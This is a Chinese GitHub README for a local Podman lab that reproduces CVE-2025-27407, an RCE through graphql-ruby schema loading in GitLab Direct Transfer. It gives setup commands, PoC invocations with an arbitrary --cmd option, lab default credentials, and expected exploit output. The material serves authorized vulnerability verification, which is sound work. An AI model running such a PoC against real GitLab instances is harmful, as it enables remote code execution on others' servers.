LoGGGG2402/CVE-2025-27407
GitHub: LoGGGG2402/CVE-2025-27407
针对 GitLab Direct Transfer 路径中 graphql-ruby 内省模式加载器漏洞(CVE-2025-27407)的最小化本地复现环境,通过伪造源服务器触发恶意 GraphQL schema 加载以证明远程代码执行风险。
Stars: 0 | Forks: 0
# CVE-2025-27407 GitLab Podman 实验环境
用于证明 GitLab Direct Transfer HTTP 路径可以触发存在漏洞的 `graphql-ruby` 内省模式加载器的最小化本地实验环境。该实验环境运行一个存在漏洞的 GitLab CE 容器;PoC 脚本仅在测试期间在进程内启动其伪造的 GitLab 源服务器。
请仅在您拥有或获得明确授权进行测试的系统上运行此实验环境。
## 文件
| 文件 | 用途 |
| --- | --- |
| `lab.sh` | 启动、等待、验证并清理 GitLab 实验环境。 |
| `poc_host_port_cmd.py` | 一次性 PoC:伪造源服务器 + GitLab 登录/配置/导入触发器。 |
## 环境要求
- 安装了 `podman` 的 Linux 主机
- `curl`
- 用于 GitLab 和 PoC 伪造源服务器的空闲本地端口
- 足够的内存和磁盘空间用于运行 GitLab Omnibus 容器
默认值:
| 项目 | 默认值 |
| --- | --- |
| GitLab 镜像 | `docker.io/gitlab/gitlab-ce:16.11.8-ce.0` |
| GitLab 容器 | `cve-27407-gitlab` |
| Podman 网络 | `cve-2025-27407-net` |
| GitLab root 用户 | `root` |
| GitLab root 密码 | `Cve27407Password!` |
| Marker | `/tmp/cve_2025_27407_gitlab_marker` |
## 启动实验环境
端口 `8080` 是脚本的默认值。如果该端口已被其他程序占用,请按如下所示使用 `18080`。
```
cd gitlab-lab
chmod +x lab.sh poc_host_port_cmd.py
GITLAB_HTTP_PORT=18080 GITLAB_SSH_PORT=2225 ./lab.sh up
```
在浏览器中打开 GitLab:
```
http://127.0.0.1:18080
```
登录凭据:
```
root / Cve27407Password!
```
`root` 只是实验环境的默认用户。触发 PoC 不需要管理员账户;任何能够在目标命名空间中创建/导入项目的已认证用户都可以触发存在漏洞的 Direct Transfer 路径。使用 `--username` 和 `--password` 可以通过非管理员用户进行测试。
## 运行 PoC
```
MARKER=/tmp/cve_2025_27407_gitlab_marker
podman exec cve-27407-gitlab rm -f "$MARKER"
./poc_host_port_cmd.py \
--host 127.0.0.1 \
--port 18080 \
--listen-port 8001 \
--wait-seconds 120 \
--cmd "touch $MARKER"
MARKER="$MARKER" ./lab.sh verify
```
预期信号:
```
[*] create/import trigger status=200 final_url=http://127.0.0.1:18080/import/bulk_imports
[{"success":true,...}]
[evil-source] POST /api/graphql introspection -> malicious schema; command='touch ...'
[+] GitLab reached /api/graphql introspection over HTTP
[+] vulnerable: marker file exists inside GitLab container
```
## 选项
| 选项 | 用途 | 默认值 |
| --- | --- | --- |
| `--host` | 要测试的 GitLab 主机 | 必填 |
| `--port` | 要测试的 GitLab HTTP 端口 | 必填 |
| `--cmd` | 在 GitLab 运行时中执行的命令 | `touch /tmp/cve_2025_27407_gitlab_marker` |
| `--listen-port` | 本地伪造源服务器端口 | `8001` |
| `--wait-seconds` | 为异步 GitLab 后台 worker 保持伪造源服务器存活的时间 | `90` |
| `--username` | GitLab 用户名 | `root` |
| `--password` | GitLab 密码 | `Cve27407Password!` |
## 环境变量覆盖
| 变量 | 用途 | 默认值 |
| --- | --- | --- |
| `GITLAB_HTTP_PORT` | 主机/容器 GitLab HTTP 端口 | `8080` |
| `GITLAB_SSH_PORT` | 主机 GitLab SSH 端口 | `2224` |
| `GITLAB_ROOT_PASSWORD` | 初始 root 密码 | `Cve27407Password!` |
| `GITLAB_IMAGE` | 要运行的 GitLab 镜像 | `docker.io/gitlab/gitlab-ce:16.11.8-ce.0` |
| `NETWORK` | Podman 网络名称 | `cve-2025-27407-net` |
| `MARKER` | 在 GitLab 容器内检查的文件 | `/tmp/cve_2025_27407_gitlab_marker` |
| `TIMEOUT_SECONDS` | 就绪状态等待超时时间 | `1200` |
## 故障排除
- 如果 `8080` 端口被占用,请使用 `GITLAB_HTTP_PORT=18080` 运行 `./lab.sh up`。
- 如果 PoC 无法绑定其源端口,请将 `--listen-port` 更改为未使用的端口。
- 如果标记验证与后台导入 worker 发生竞争,请增加 `--wait-seconds` 的值或重新运行 `MARKER="$MARKER" ./lab.sh verify`。
- 如果 GitLab 尚未准备就绪,请重新运行 `GITLAB_HTTP_PORT=18080 ./lab.sh wait`。
- 如果之前的实验环境卡住,请运行 `./lab.sh cleanup` 并重新开始。
## 清理
```
./lab.sh cleanup
```
这将移除 GitLab 容器、旧版实验环境中遗留的任何伪造源容器以及实验网络。但不会移除已下载的 Podman 镜像。
标签:Bash, CISA项目, Cutter, CVE-2025-27407, GitLab, GraphQL, HTTP直接传输, Maven, Omnibus, PoC, Podman, Python, Ruby, Web截图, 伪造服务器, 内省模式, 安全测试, 容器安全, 攻击性安全, 数字取证, 无后门, 暴力破解, 本地靶场, 概念验证, 漏洞验证, 知识库, 自动化脚本, 逆向工具